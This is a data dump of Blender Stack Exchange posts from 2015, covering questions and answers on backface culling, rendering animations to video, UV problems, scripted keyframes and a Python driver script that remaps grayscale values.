  <row Id="34576" PostTypeId="2" ParentId="34569" CreationDate="2015-07-26T18:25:37.307" Score="7" Body="&lt;p&gt;There is a check box in the material settings tab of the properties window, called &lt;em&gt;&quot;Backface Culling&quot;&lt;/em&gt;.  Simply uncheck that box and your object will render both sides of the faces in the game engine.&lt;br&gt;&#xA;&lt;a href=&quot;https://i.stack.imgur.com/GFwG3.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/GFwG3.png&quot; alt=&quot;Backface Culling setting&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2217" LastActivityDate="2015-07-26T18:25:37.307" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="34577" PostTypeId="2" ParentId="34546" CreationDate="2015-07-26T19:26:02.400" Score="1" Body="&lt;p&gt;Unfortunately, the bones were upside down, so they were not moving correctly. When bones are upside down, the only thing that will rotate correctly are the ones on the top because if done correctly, the ones on top move all the bones that are connected to it.&lt;/p&gt;&#xA;" OwnerUserId="13828" LastEditorUserId="13828" LastEditDate="2015-07-26T22:42:12.900" LastActivityDate="2015-07-26T22:42:12.900" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="34578" PostTypeId="1" AcceptedAnswerId="34579" CreationDate="2015-07-26T19:50:29.723" Score="3" ViewCount="1028" Body="&lt;p&gt;I just downloaded blender 2.75a. I'm halfway through my first character creation and decided to try out the F Brush tool. I've seen quite a lot of folks using the tool. I do not have this tool. &#xA;I've looked for the addon...with no results.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Where can I find a download for it? I would really appreciate it as I am still learning. I don't want to settle with sculptdraw.&lt;/p&gt;&#xA;" OwnerUserId="15939" LastEditorUserId="599" LastEditDate="2015-07-26T20:06:07.513" LastActivityDate="2015-07-26T23:09:28.690" Title="Where to find F Brush tool?" Tags="&lt;interface&gt;&lt;sculpting&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34579" PostTypeId="2" ParentId="34578" CreationDate="2015-07-26T19:58:43.473" Score="3" Body="&lt;p&gt;The &lt;em&gt;Brush&lt;/em&gt; preset and a few others were &lt;a href=&quot;https://developer.blender.org/rB4b742caddce4eb9bae9afa3305e25f702c6ed840&quot; rel=&quot;nofollow noreferrer&quot;&gt;removed in 2.73&lt;/a&gt; because they were essentially &lt;a href=&quot;https://blender.stackexchange.com/q/3643/599&quot;&gt;the same as other presets&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Some brushes really do the same thing and we have agreed not to offer&#xA;  extra presets for one brush type. Removed those brushes from default&#xA;  .blend. They are Polish (Flatten Contrast does the same), Brush (Does&#xA;  the same as draw) and Draw from texpaint (where texdraw/draw does the&#xA;  same)&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Also note that the &quot;F&quot; is &lt;a href=&quot;https://blender.stackexchange.com/a/3699/599&quot;&gt;not part of the brush's name&lt;/a&gt;, but rather indicates that it has a &lt;a href=&quot;http://blender.org/manual/data_system/datablocks.html#fake-user&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;em&gt;Fake User&lt;/em&gt;&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:42.843" LastActivityDate="2015-07-26T23:09:28.690" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="34582" PostTypeId="1" CreationDate="2015-07-26T21:30:24.117" Score="13" ViewCount="1765" Body="&lt;p&gt;I have a value map that is black and white, but it covers a &lt;em&gt;very&lt;/em&gt; small range of that spectrum, having the brightest value at 90% grey, and the darkest somewhere around 80% grey. What I need to do is stretch these values, using nodes, from fully black to fully white, well maintaining their relative brightness. For example, if it spans between 80-90% grey, something at 81% grey would become 10% grey and something 85% grey would be 50% grey, etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If possible I would like to do this entirely proceduraly, so that any entered map would work.&lt;/p&gt;&#xA;" OwnerUserId="3127" LastEditorUserId="3127" LastEditDate="2016-11-03T22:31:11.390" LastActivityDate="2016-11-03T22:31:11.390" Title="Cycles node editor - Map gray scale value map to extremes" Tags="&lt;cycles-render-engine&gt;&lt;rendering&gt;&lt;materials&gt;&lt;nodes&gt;&lt;mathematics&gt;" AnswerCount="4" CommentCount="13" FavoriteCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="34583" PostTypeId="1" CreationDate="2015-07-26T21:35:12.273" Score="0" ViewCount="426" Body="&lt;p&gt;Im fairly new to blender and am at the stage where i'm trying to figure everything out. Everytime I import a motion capture file the animations work and looks good. But when i go into edit mode to scale and put it in place with my mesh the armature rig is flat on the ground. Then i try to put all the bones in their respective locations but then the mesh is heavily deformed in pose and object mode again.And the animation is also really screwed up as a result. Why is this happening and how do i fix it?&lt;a href=&quot;https://i.stack.imgur.com/jP7xi.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/jP7xi.jpg&quot; alt=&quot;Armature Fine After Import&quot;&gt;&lt;/a&gt;&lt;a href=&quot;https://i.stack.imgur.com/Sudlc.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/Sudlc.jpg&quot; alt=&quot;Armature Deformed Edit Mode&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="15942" LastActivityDate="2015-07-26T21:35:12.273" Title="Why does my armature rig deform badly in edit mode?" Tags="&lt;animation&gt;&lt;rigging&gt;&lt;armature&gt;&lt;import&gt;" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="34586" PostTypeId="1" AcceptedAnswerId="34587" CreationDate="2015-07-27T00:17:04.240" Score="18" ViewCount="143372" Body="&lt;p&gt;So I made an intro using animation and it saves it as a .blend and I want it so save as a video like .mp4 or something like that.&lt;br&gt;&#xA;I've tried changing the codec because I tried opening the intro with windows media instead of blend. I didn't try all the codec's but I tried some of them.&lt;/p&gt;&#xA;" OwnerUserId="15943" LastEditorUserId="2217" LastEditDate="2015-07-27T00:51:47.940" LastActivityDate="2018-01-18T11:27:35.940" Title="save as a video as .mp4" Tags="&lt;rendering&gt;&lt;animation&gt;&lt;video&gt;&lt;file-format&gt;" AnswerCount="1" CommentCount="1" FavoriteCount="5" ClosedDate="2015-07-27T00:52:08.283" ContentLicense="CC BY-SA 3.0" />
  <row Id="34587" PostTypeId="2" ParentId="34586" CreationDate="2015-07-27T00:43:13.867" Score="31" Body="&lt;p&gt;The .blend file contains the 3D project.&lt;/p&gt;&#xA;&lt;p&gt;To create an animation in a video format you need to &lt;strong&gt;render&lt;/strong&gt; it first.&lt;/p&gt;&#xA;&lt;p&gt;Select the output &lt;strong&gt;format&lt;/strong&gt; and &lt;strong&gt;encoding&lt;/strong&gt;, the name of the file and hit &lt;strong&gt;Animation&lt;/strong&gt; (or &lt;kbd&gt;CTRL&lt;/kbd&gt; &lt;kbd&gt;F12&lt;/kbd&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/YTTgv.gif&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/YTTgv.gif&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;h1&gt;UPDATE:&lt;/h1&gt;&#xA;&lt;p&gt;One of the big changes in 2.79 is that they finally separated containers and codecs.&#xA;The encoding options from previous versions are still there, but now they have organized differently&lt;/p&gt;&#xA;&lt;p&gt;If you select &lt;strong&gt;FFMpeg video&lt;/strong&gt;, there will be a new tab for &lt;strong&gt;Encoding&lt;/strong&gt; options.&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/Q7yiX.gif&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/Q7yiX.gif&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;There you can select the container and the codec for the output file.&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://en.wikipedia.org/wiki/Digital_container_format&quot; rel=&quot;noreferrer&quot;&gt;Container&lt;/a&gt; is the file format for the file, (Mov, Avi, Ogg, MP4, to name a few) sometimes is referred as a &amp;quot;wrapper&amp;quot;.&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://en.wikipedia.org/wiki/Video_codec&quot; rel=&quot;noreferrer&quot;&gt;Codec&lt;/a&gt; (short for Compression-Decompression) Is how the image is compressed. The picture quality, file size and processing power needed to view the file are largely determined by the kind of codec used and the settings used for it.&lt;/p&gt;&#xA;" OwnerDisplayName="user1853" LastEditorUserId="-1" LastEditorDisplayName="user1853" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2018-01-18T11:27:35.940" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="34588" PostTypeId="1" AcceptedAnswerId="34615" CreationDate="2015-07-27T00:57:27.583" Score="4" ViewCount="2364" Body="&lt;p&gt;I unwrapped the whole mesh, but one face is always black, I tried &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;N&lt;/kbd&gt; and &lt;kbd&gt;Shift&lt;/kbd&gt;&lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;N&lt;/kbd&gt; but there is no change.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;in the 2d editor &quot;View &gt; UV Local View&quot; isn't selected&lt;/p&gt;&#xA;&#xA;&lt;p&gt;you can get the blend here : &lt;a href=&quot;http://www.pasteall.org/blend/37300&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://www.pasteall.org/blend/37300&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/KtpWq.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/KtpWq.png&quot; alt=&quot;black face in mesh without texture&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="15944" LastEditorUserId="15944" LastEditDate="2015-07-27T15:12:08.867" LastActivityDate="2015-07-27T15:59:04.947" Title="why this face is always black?" Tags="&lt;texturing&gt;&lt;uv&gt;&lt;faces&gt;" AnswerCount="3" CommentCount="1" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="34589" PostTypeId="2" ParentId="34300" CreationDate="2015-07-27T02:22:36.713" Score="4" Body="&lt;p&gt;Smart UV Project simply doesn't guarantee non-overlapping UVs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It doesn't detect or correct self-intersecting UV's within a UV-island.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using lower angle limit will typically help to avoid this problem, but there are still cases it could happen.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If the possibility of overlapping UV's is unacceptable, you could use &lt;strong&gt;Lightmap-pack&lt;/strong&gt; instead.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Note, in the example given - there is a lot of &lt;em&gt;noise&lt;/em&gt;, One way to resolve could mitigate overlapping could be calculate the UV's on a less noisy version of the mesh:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Store the original vertex locations.&lt;/li&gt;&#xA;&lt;li&gt;Smooth the vertices.&lt;/li&gt;&#xA;&lt;li&gt;Execute Smart-Project&lt;/li&gt;&#xA;&lt;li&gt;Restore the vertex locations.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="55" LastActivityDate="2015-07-27T02:22:36.713" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="34590" PostTypeId="1" AcceptedAnswerId="34592" CreationDate="2015-07-27T05:19:30.350" Score="5" ViewCount="3899" Body="&lt;p&gt;I would like to script keyframes for bevel modifier width (and many more later). Here is what I have so far. I've commented out the last line which doesn't work. When I type &lt;code&gt;help(ao.keyframe_insert)&lt;/code&gt;, I get &lt;code&gt;:arg data_path: path to the property to key, analogous to the fcurve's data path.&lt;/code&gt; but that doesn't help me since I haven't use fcurves yet.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The first half of my question is &quot;&lt;em&gt;how to key the bevel width as I am trying in the example script?&lt;/em&gt;&quot; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;...and the second half is &quot;&lt;em&gt;where could I have looked this up?&lt;/em&gt;&quot; or &quot;&lt;em&gt;how can I know in general what do write in &lt;code&gt;keyframe_insert(data_path=&quot;&quot;&lt;/code&gt; without asking a new question each time I want to key something?&lt;/em&gt;&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for your understanding!&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;import numpy as np&#xA;&#xA;frame_a, frame_b = 25, 35&#xA;sigma_a, sigma_b = 7, 10&#xA;n_frames = 60&#xA;&#xA;if 1 == 1:&#xA;    bpy.ops.mesh.primitive_cube_add(radius=1, location=(0.0, 0.0, 2.0))&#xA;    bpy.ops.object.modifier_add(type='BEVEL')&#xA;    bpy.context.object.modifiers[&quot;Bevel&quot;].width = 0.3&#xA;    bpy.context.object.modifiers[&quot;Bevel&quot;].segments = 3&#xA;&#xA;ao = bpy.context.active_object&#xA;&#xA;bpy.context.scene.frame_end = n_frames&#xA;&#xA;for i_frame in range(n_frames):&#xA;    a = np.exp(-(i_frame - frame_a)**2 / (2.*sigma_a**2))&#xA;    s = 1.0 + 0.3 * a&#xA;    bw = 1.0 * a&#xA;    ao.modifiers[&quot;Bevel&quot;].width = bw&#xA;    ao.scale = (s, s, s)&#xA;    ao.keyframe_insert(data_path=&quot;scale&quot;, frame = i_frame + 1, index=-1)&#xA;    #ao.keyframe_insert(data_path=&quot;modifiers['Bevel'].width&quot;, frame = i_frame + 1, index=-1)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="5334" LastEditorUserId="47" LastEditDate="2015-07-27T06:21:41.437" LastActivityDate="2015-07-27T08:45:03.187" Title="how to find the data_path for scripted keyframes" Tags="&lt;python&gt;&lt;scripting&gt;&lt;modifiers&gt;" AnswerCount="1" CommentCount="7" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="34591" PostTypeId="2" ParentId="34588" CreationDate="2015-07-27T06:10:04.010" Score="2" Body="&lt;p&gt;There are many reasons why the face can be black.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think we should take a look at what material is assigned to that face. That is not visible in your screen shot. Different faces can have different materials.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To assign a material to all faces, select all while in edit mode. While still in edit mode, go to material tab, select desired material, and click &quot;assign&quot; button&lt;/p&gt;&#xA;" OwnerUserId="4960" LastEditorUserId="4960" LastEditDate="2015-07-27T06:25:34.617" LastActivityDate="2015-07-27T06:25:34.617" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="34592" PostTypeId="2" ParentId="34590" CreationDate="2015-07-27T06:15:22.480" Score="5" Body="&lt;p&gt;To get the data_path of a UI element (property, icon..), rightclick it and select &quot;Copy Data Path&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/EUviy.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/EUviy.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Wrapping the resulting data_path with double quotes is a legal python string representation (eg: &lt;code&gt;&quot;modifiers['Bevel'].width&quot;&lt;/code&gt;), and arguably should be allowed. But the parser of properties favours &lt;code&gt;'modifiers[&quot;Bevel&quot;].width'&lt;/code&gt;, presumably to keep the string parsing to a  minimal implementation.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;The above will be able to compute most kinds of &lt;code&gt;data_path&lt;/code&gt;, but if it fails you can   &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;make a keyframe for the property&lt;/li&gt;&#xA;&lt;li&gt;go to the Outliner (set to view Datablocks)&lt;/li&gt;&#xA;&lt;li&gt;navigate to Actions -&gt; (Object/Scenename)+Action -&gt; F-Curve&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;See Data Path. (this is what the initial &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;path to the property to key, analogous to the fcurve's data path&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;refers to.)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="47" LastEditorUserId="47" LastEditDate="2015-07-27T08:45:03.187" LastActivityDate="2015-07-27T08:45:03.187" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="34593" PostTypeId="2" ParentId="34582" CreationDate="2015-07-27T10:25:02.347" Score="5" Body="&lt;p&gt;(EDITED ANSWER: ADDING DRIVER)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You need to make these steps:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Create a Map Range node&lt;/li&gt;&#xA;&lt;li&gt;Create python scripts to get the maximum and minimum values &lt;/li&gt;&#xA;&lt;li&gt;Add drivers to execute the scripts dinamically&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Create a Map Range node&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can use a node group like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/KXDST.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/KXDST.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This node group is similar to another node available for compositing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It works plugging your input value into the &lt;strong&gt;Value socket&lt;/strong&gt; (the value you describe in your problem) and setting up the four sockets below that. In your problem the &lt;strong&gt;ToMin&lt;/strong&gt; value (To minimum) should be 0.0 and the &lt;strong&gt;ToMax&lt;/strong&gt; value (To Maximum) should be 1.0. The &lt;strong&gt;FromMin&lt;/strong&gt; (From Minimum) and &lt;strong&gt;FromMax&lt;/strong&gt; (From Maximum) values depends on you input. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/tkTD9.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/tkTD9.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Create python scripts&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You have to create a script with this code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;# create an index to be used in a dictionary&#xA;def idx_to_co(idx, width):    &#xA;    r = int(idx / width)    &#xA;    c = idx % width    &#xA;    return r, c    &#xA;&#xA;# create a dict from a list&#xA;def px_list_to_dict(px_list, width):  &#xA;    px_dict = {}  &#xA;    for idx, px in enumerate(px_list):  &#xA;        px_dict[idx_to_co(idx, width)] = px  &#xA;&#xA;    return px_dict  &#xA;&#xA;# return the maximum color value in a Black_and_White image&#xA;def max_color_bw_image(image_name):&#xA;    # access image from blend file&#xA;    img = bpy.data.images[image_name]&#xA;&#xA;    # initial max_value to compare with the image&#xA;    max_value  = 0.0&#xA;&#xA;    # tuples!&#xA;    img_width = img.size[0]  &#xA;    #img_height = img.size[1]  &#xA;&#xA;    # slowest part is the transfer from pixel array to list  &#xA;    pxs = tuple(img.pixels)&#xA;    #r,g,b,a = pxs[::4], pxs[1::4], pxs[2::4], pxs[3::4]&#xA;    r,g,b = pxs[::4], pxs[1::4], pxs[2::4]&#xA;    #px_list = zip(r,g,b,a)&#xA;    px_list = zip(r,g,b)&#xA;&#xA;    # create dictionary&#xA;    px_dict = px_list_to_dict(px_list, img_width)&#xA;&#xA;    # iterate over the dictionary and get the maximum value&#xA;    for key, value in px_dict.items():&#xA;        # evaluate only r color coordinate since the image is BW&#xA;        max_value = max(max_value,value[0])&#xA;&#xA;    return max_value&#xA;&#xA;# return the minimum color value in a Black_and_White image&#xA;def min_color_bw_image(image_name):&#xA;    # access image from blend file&#xA;    img = bpy.data.images[image_name]&#xA;&#xA;    # initial min_value to compare with the image&#xA;    min_value  = 1.0&#xA;&#xA;    # tuples!&#xA;    img_width = img.size[0]  &#xA;    #img_height = img.size[1]  &#xA;&#xA;    # slowest part is the transfer from pixel array to list  &#xA;    pxs = tuple(img.pixels)&#xA;    r,g,b = pxs[::4], pxs[1::4], pxs[2::4]&#xA;    px_list = zip(r,g,b)&#xA;&#xA;    # create dictionary&#xA;    px_dict = px_list_to_dict(px_list, img_width)&#xA;&#xA;    # iterate over the dictionary and get the maximum value&#xA;    for key, value in px_dict.items():&#xA;        # evaluate only r color coordinate since the image is BW&#xA;        min_value = min(min_value,value[0])&#xA;&#xA;    return min_value&#xA;&#xA;bpy.app.driver_namespace['min_color_bw_image'] = min_color_bw_image&#xA;bpy.app.driver_namespace['max_color_bw_image'] = max_color_bw_image&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Thanks to &lt;a href=&quot;http://blenderscripting.blogspot.com.es/2012/08/faster-pixel-manipulation-inside-blender.html&quot; rel=&quot;noreferrer&quot;&gt;Blender scripting blog&lt;/a&gt; for explaining how to work with images files.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Add drivers to execute the scripts dinamically&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Finally you have to add a driver to the From Min parameter (min_color_bw_image function) an another driver to the From Max parameter (max_color_bw_image function) of the Map Range node.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note: You have to use drivers of &lt;em&gt;Scripted Expression&lt;/em&gt; kind and type the name of the datablock image. &lt;a href=&quot;https://developer.blender.org/T26306&quot; rel=&quot;noreferrer&quot;&gt;You can not use driver variables for strings&lt;/a&gt;. For example, you can write &quot;max_color_bw_image function('my_image_datablock_name')&quot; in the Expression textbox of the driver.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That is not the topic of this question. I have created &lt;a href=&quot;http://elbrujodelatribu.blogspot.com/2015/08/blender-cycles-using-python-script-in.html&quot; rel=&quot;noreferrer&quot;&gt;an article in my blog&lt;/a&gt; about how to create a python script and add it to a driver in a node. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;These are the resutls:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;No Map Range used:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/9lvZK.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/9lvZK.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Map Range used:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/hD2yY.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/hD2yY.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="6276" LastEditorUserId="6276" LastEditDate="2015-08-05T08:50:05.530" LastActivityDate="2015-08-05T08:50:05.530" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="34594" PostTypeId="1" CreationDate="2015-07-27T10:40:43.303" Score="1" ViewCount="50" Body="&lt;p&gt;I have a problem setting up the reflections for my water in the blender internal rendering engine, as you can see on the picture, the grass doesn't appear in the mirror...they are hair particles over the land mesh. I tried to convert them into a mesh but it doesn't render either. Water mirror is set to 1 with a fresnel of 0.5 and a blend of 3.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/rPJeJ.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/rPJeJ.jpg&quot; alt=&quot;overview&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="13343" LastEditorUserId="13343" LastEditDate="2015-07-27T12:24:09.860" LastActivityDate="2015-07-27T12:24:09.860" Title="blender engine mirror" Tags="&lt;rendering&gt;&lt;texturing&gt;&lt;blender-internal-render-engine&gt;" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="34595" PostTypeId="2" ParentId="34588" CreationDate="2015-07-27T10:44:54.373" Score="2" Body="&lt;p&gt;I would suggest to check your &lt;strong&gt;Vertex Color layer&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/UTCg3m.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/UTCg3m.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt; &lt;a href=&quot;https://i.stack.imgur.com/qUYoZm.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/qUYoZm.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;While working in Textured shading mode with the Blender Render engine, vertex color layer is overlayed on the texture with a sort of &quot;multiply&quot; blending mode. So if one of your faces is panted with black (rgb=[0,0,0]), its vertex color will completely overwhelm the face texture.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/FYK2H.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/FYK2H.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you don't want vertex color to be shown while working with texture, but you don't want to lose that vertex color layer, you can &lt;strong&gt;create a new, all white, vertex color layer&lt;/strong&gt; and set it as active.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/0JNBJ.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/0JNBJ.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="15140" LastEditorUserId="15140" LastEditDate="2015-07-27T11:13:05.660" LastActivityDate="2015-07-27T11:13:05.660" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="34596" PostTypeId="1" AcceptedAnswerId="34602" CreationDate="2015-07-27T10:58:48.570" Score="1" ViewCount="553" Body="&lt;p&gt;Blender recently started to act really weird, one of the most frustrating things is that Blender History states stopped working. I am looking for some advice on how to clean things that might be messing up my Blender. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also I would really appreciate some help on how to make it as easy as possible to reinstall a new version of blender and transfer my old settings. I am using Blender 2.75a the official version today. I know that I can transfer the old settings after I install a new version of Blender but I am not sure if that's really good if some old script/settings are messing up some things how can I find where the problem is? &lt;/p&gt;&#xA;" OwnerUserId="14034" LastActivityDate="2015-07-27T11:55:09.500" Title="Best way to clean Blender?" Tags="&lt;customization&gt;&lt;properties&gt;&lt;installation&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34597" PostTypeId="1" CreationDate="2015-07-27T11:11:44.527" Score="0" ViewCount="34" Body="&lt;p&gt;I'm rendering some simple 3d shapes to an isometric perspective (orthographic cameras etc) using the Blender internal.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The render is lightning fast so I dragged out another 3d view so Blender is divided into two 3d Views, one on the left one on the right. (Properties editor is on the far right as usual).  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I press &lt;kbd&gt;F12&lt;/kbd&gt;, initially Blender displayed the render result on the right hand view.  This was great as I could make small changes to the camera (on the left) and immediately see changes in the full render just by pressing &lt;kbd&gt;F12&lt;/kbd&gt; again.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However every so often when I press &lt;kbd&gt;F12&lt;/kbd&gt;, Blender seems to randomly decide to put the render result in the left hand view and the right view now returns to the 3d View.    &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This a a real pain as I then have to re-open the tool and information panels and select the camera again etc.  It then also happens in reverse after a while (right now I'm rendering to the right window again).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I thought it may depend on which view I last selected an object in, but in my testing it seems to make no difference.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone know how I can lock the render result to a specific 3d view when there are multiple 3d views visible?&lt;/p&gt;&#xA;" OwnerUserId="15949" LastEditorUserId="241" LastEditDate="2015-07-27T15:16:43.270" LastActivityDate="2015-07-27T15:16:43.270" Title="How do we control which 3d View the render result is displayed in when multiple 3d views are visible?" Tags="&lt;rendering&gt;&lt;customization&gt;" AnswerCount="0" CommentCount="4" ClosedDate="2015-07-27T11:27:47.690" ContentLicense="CC BY-SA 3.0" />
